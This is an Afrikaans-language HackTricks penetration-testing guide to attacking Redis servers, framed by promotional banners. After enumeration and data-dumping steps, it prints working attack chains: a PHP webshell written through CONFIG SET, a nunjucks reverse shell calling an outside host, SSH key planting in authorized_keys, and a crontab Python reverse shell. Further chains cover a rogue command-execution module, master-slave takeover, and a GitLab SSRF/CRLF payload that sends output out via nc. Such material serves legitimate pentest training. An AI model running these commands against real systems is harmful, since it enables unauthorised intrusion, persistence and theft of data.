19 KiB
6379 - Pentesting Redis
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hack-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Sluit aan by die HackenProof Discord bediener om te kommunikeer met ervare hackers en foutvinders van beloningsjagte!
Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
Hack-nuus in werklikheid
Bly op hoogte van die vinnige wêreld van hacking deur middel van werklike nuus en insigte
Nuutste aankondigings
Bly ingelig met die nuutste foutvindings wat bekendgestel word en belangrike platform-opdaterings
Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!
Basiese Inligting
Vanaf die dokumentasie: Redis is 'n oopbron (BSD-gelisensieerde), in-memory datastruktuurwinkel, wat gebruik word as 'n databasis, cache en boodskapmakelaar).
Standaard gebruik Redis 'n teksgebaseerde protokol, maar onthou dat dit ook ssl/tls kan implementeer. Leer hoe om Redis met ssl/tls hier uit te voer.
Standaardpoort: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Outomatiese Opsomming
Sommige outomatiese gereedskap wat kan help om inligting van 'n Redis-instantie te verkry:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Handmatige Enumerasie
Banier
Redis is 'n teksgebaseerde protokol, jy kan net die bevel in 'n sokket stuur en die teruggekeerde waardes sal leesbaar wees. Onthou ook dat Redis kan loop met behulp van ssl/tls (maar dit is baie vreemd).
In 'n gewone Redis-instantie kan jy net verbind met behulp van nc
of jy kan ook redis-cli
gebruik:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Die eerste bevel wat jy kan probeer is info
. Dit kan uitset met inligting van die Redis-instantie teruggee of iets soos die volgende kan teruggegee word:
-NOAUTH Authentication required.
In hierdie laaste geval beteken dit dat jy geldige geloofsbriewe nodig het om toegang tot die Redis-instantie te verkry.
Redis-verifikasie
Standaard kan Redis sonder geloofsbriewe benader word. Dit kan egter gekonfigureer word om slegs wagwoord, of gebruikersnaam + wagwoord te ondersteun.
Dit is moontlik om 'n wagwoord in die redis.conf lêer in te stel met die parameter requirepass
of tydelik totdat die diens herlaai word deur daarmee te verbind en die volgende uit te voer: config set requirepass p@ss$12E45
.
'n Gebruikersnaam kan ook gekonfigureer word in die parameter masteruser
binne die redis.conf lêer.
{% hint style="info" %}
As slegs 'n wagwoord gekonfigureer is, word die gebruikte gebruikersnaam "default".
Merk ook op dat daar geen manier is om ekstern te vind of Redis gekonfigureer is met slegs 'n wagwoord of gebruikersnaam+wagwoord nie.
{% endhint %}
In gevalle soos hierdie sal jy geldige geloofsbriewe moet vind om met Redis te kan kommunikeer, dus kan jy probeer om dit brute-force te doen.
In die geval dat jy geldige geloofsbriewe gevind het, moet jy die sessie verifieer nadat die verbinding tot stand gebring is met die volgende bevel:
AUTH <username> <password>
Geldige geloofsbriewe sal beantwoord word met: +OK
Geauthentiseerde opname
As die Redis-bediener anonieme verbindinge toelaat of as jy geldige geloofsbriewe verkry het, kan jy die opnameproses vir die diens inisieer deur die volgende opdragte te gebruik:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Ander Redis-opdragte kan hier gevind word en hier.
Merk op dat die Redis-opdragte van 'n instansie hernoem of verwyder kan word in die redis.conf lêer. Byvoorbeeld, hierdie lyn sal die opdrag FLUSHDB verwyder:
rename-command FLUSHDB ""
Meer oor die veilige konfigurasie van 'n Redis-diens hier: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Jy kan ook in werklike tyd die Redis-opdragte monitor met die opdrag monitor
of die top 25 stadigste navrae kry met slowlog get 25
Vind meer interessante inligting oor meer Redis-opdragte hier: https://lzone.de/cheat-sheet/Redis
Databasis aflaai
Binne Redis is die databasisse nommers wat begin by 0. Jy kan vind of enigeen gebruik word in die uitset van die opdrag info
binne die "Keyspace" blok:
Of jy kan net al die keyspaces (databasisse) kry met:
INFO keyspace
In daardie voorbeeld word die databasis 0 en 1 gebruik. Databasis 0 bevat 4 sleutels en databasis 1 bevat 1. Standaard gebruik Redis databasis 0. Om byvoorbeeld databasis 1 te dump, moet jy die volgende doen:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
In die geval dat jy die volgende fout kry -WRONGTYPE Operasie teen 'n sleutel wat die verkeerde soort waarde bevat
terwyl jy GET <KEY>
uitvoer, is dit omdat die sleutel dalk iets anders as 'n string of 'n heelgetal is en 'n spesiale operator vereis om dit te vertoon.
Om die tipe van die sleutel te weet, gebruik die TYPE
bevel, voorbeeld hieronder vir lys- en hashsleutels.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
Dump die databasis met npm redis-dump of python redis-utils
Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
Real-Time Hack Nuus
Bly op hoogte van die vinnige hacking-wêreld deur middel van real-time nuus en insigte
Nuutste aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platform-opdaterings
Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!
Redis RCE
Interaktiewe Skulp
redis-rogue-server kan outomaties 'n interaktiewe skulp of 'n omgekeerde skulp in Redis (<=5.0.5) kry.
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Inligting vanaf hier. Jy moet die pad van die Webwerf vouer weet:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
As die webshell toegang uitsondering gee, kan jy die databasis leegmaak na rugsteun en weer probeer, onthou om die databasis te herstel.
Sjabloon Webshell
Soos in die vorige afdeling kan jy ook 'n paar html-sjabloonlêers oorskryf wat deur 'n sjabloon-enjin geïnterpreteer gaan word en 'n shell verkry.
Byvoorbeeld, volgens hierdie writeup, kan jy sien dat die aanvaller 'n rev shell in 'n html ingespuit het wat deur die nunjucks sjabloon-enjin geïnterpreteer word:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} Let daarop dat verskeie sjabloondraaiers die sjablone in die geheue stoor, so selfs al oorskryf jy hulle, sal die nuwe een nie uitgevoer word nie. In hierdie gevalle het die ontwikkelaar óf die outomatiese herlaai aktief gelaat óf jy moet 'n DoS oor die diens doen (en verwag dat dit outomaties herlaai sal word). {% endhint %}
SSH
Voorbeeld van hier
Wees bewus dat die resultaat van config get dir
kan verander na ander handmatige uitbuitingsopdragte. Stel voor om dit eerste uit te voer direk nadat jy in Redis ingeteken het. In die uitset van config get dir
kan jy die tuiste van die redis-gebruiker vind (gewoonlik /var/lib/redis of /home/redis/.ssh), en deur dit te weet, weet jy waar jy die authenticated_users
-lêer kan skryf om toegang te verkry via ssh met die gebruiker redis. As jy die tuiste van 'n ander geldige gebruiker ken waar jy skryfregte het, kan jy dit ook misbruik:
- Genereer 'n ssh openbare-privaat sleutelpaar op jou rekenaar:
ssh-keygen -t rsa
- Skryf die openbare sleutel na 'n lêer:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Importeer die lêer na Redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Stoor die openbare sleutel in die authorized_keys-lêer op die Redis-bediener:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Uiteindelik kan jy ssh na die Redis-bediener met die privaat sleutel: ssh -i id_rsa redis@10.85.0.52
Hierdie tegniek is outomaties hier beskikbaar: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
Die laaste voorbeeld is vir Ubuntu, vir Centos, moet die bogenoemde bevel wees: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Hierdie metode kan ook gebruik word om bitcoin te verdien: yam
Laai Redis Module
- Volg die instruksies vanaf https://github.com/n0b0dyCN/RedisModules-ExecuteCommand om 'n Redis-module te kompileer om willekeurige bevele uit te voer.
- Jy benodig dan 'n manier om die gekompileerde module op te laai.
- Laai die opgelaaide module tydens uitvoering met
MODULE LOAD /path/to/mymodule.so
. - Lys gelaai modules om te bevestig dat dit korrek gelaai is:
MODULE LIST
. - Voer bevele uit:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Ontlaai die module wanneer jy wil:
MODULE UNLOAD mymodule
LUA sandboks omseil
Hier kan jy sien dat Redis die bevel EVAL gebruik om Lua-kode in 'n sandboks uit te voer. In die gekoppelde pos kan jy sien hoe om dit te misbruik deur die dofile-funksie te gebruik, maar blykbaar is dit nie meer moontlik nie. In elk geval, as jy die Lua-sandboks kan omseil, kan jy willekeurige bevele op die stelsel uitvoer. Daarbenewens kan jy van dieselfde pos enkele opsies gebruik om DoS te veroorsaak.
Sommige CVE's om uit LUA te ontsnap:
Meester-Slaaf Module
Die meester-redis se alle operasies word outomaties gesinkroniseer na die slaaf-redis, wat beteken dat ons die kwesbaarheid-redis as 'n slaaf-redis kan beskou, wat verbind is met die meester-redis wat ons eie beheer word, dan kan ons die bevel in ons eie redis invoer.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF praat met Redis
As jy 'n duidelike teksversoek na Redis kan stuur, kan jy met dit kommunikeer omdat Redis die versoek lyn vir lyn sal lees en net met foute sal antwoord op die lyne wat dit nie verstaan nie:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Daarom, as jy 'n SSRF vuln in 'n webwerf vind en jy kan sekere headers (miskien met 'n CRLF vuln) of POST parameters beheer, sal jy in staat wees om willekeurige opdragte na Redis te stuur.
Voorbeeld: Gitlab SSRF + CRLF na Shell
In Gitlab11.4.7 is 'n SSRF-kwesbaarheid en 'n CRLF ontdek. Die SSRF-kwesbaarheid was in die importeer projek van URL-funksionaliteit tydens die skep van 'n nuwe projek en het toegang tot willekeurige IP-adresse in die vorm [0:0:0:0:0:ffff:127.0.0.1] (dit sal toegang tot 127.0.0.1 gee) moontlik gemaak, en die CRLF-vuln is uitgebuit deur net %0D%0A karakters by die URL te voeg.
Daarom was dit moontlik om hierdie kwesbaarhede te misbruik om met die Redis-instantie te kommunikeer wat queues bestuur vanaf gitlab en daardie queues te misbruik om kodes uit te voer. Die Redis queue misbruik payload is:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
En die URL-kodering versoek misbruik SSRF en CRLF om 'n whoami
uit te voer en die uitset terug te stuur via nc
is:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Vir 'n rede (soos vir die skrywer van https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ waar hierdie inligting vandaan kom) het die uitbuiting gewerk met die git
skema en nie met die http
skema nie.
Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutjagters!
Hacking Insigtings
Raak betrokke by inhoud wat die opwinding en uitdagings van hackering ondersoek
Real-Time Hack Nuus
Bly op hoogte van die vinnige hackering wêreld deur middel van real-time nuus en insigte
Nuutste Aankondigings
Bly ingelig met die nuutste foutjagte wat begin en kritieke platform opdaterings
Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!
Leer AWS hackering van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hackeringstruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.